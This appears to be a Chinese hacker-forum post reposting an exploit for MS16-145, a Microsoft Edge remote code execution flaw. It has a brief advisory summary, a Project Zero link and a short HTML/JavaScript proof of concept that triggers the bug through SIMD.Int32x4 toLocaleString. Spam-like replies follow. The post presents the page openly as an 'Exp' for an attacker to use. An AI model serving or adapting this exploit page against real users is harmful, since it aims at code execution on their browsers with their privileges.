(MS16-145)Microsoft Edge远程代码执行漏洞Exploit
执行摘要此安全更新程序可修复 Microsoft Edge 中的漏洞。
如果用户使用 Microsoft Edge 查看经特殊设计的网页,那么其中最严重的漏洞可能允许远程执行代码。
成功利用这些漏洞的攻击者可以获得与当前用户相同的用户权限。
https://bugs.chromium.org/p/project-zero/issues/detail?id=961
Exp:
<html><body><script>
try{
var v = SIMD.Int32x4(1, 2, 3, 4);
alert(v.toLocaleString(1, 2, 3, 4, 5, 6, 7));
}catch(e){
alert(e.message);
}
</script></body></html> 支持,看起来还是可以的 支持中国红客联盟(ihonker.org) 支持,看起来还是可以的 支持,看起来还是可以的 支持,看起来还是可以的 我是来水经验的…… 我是来水经验的……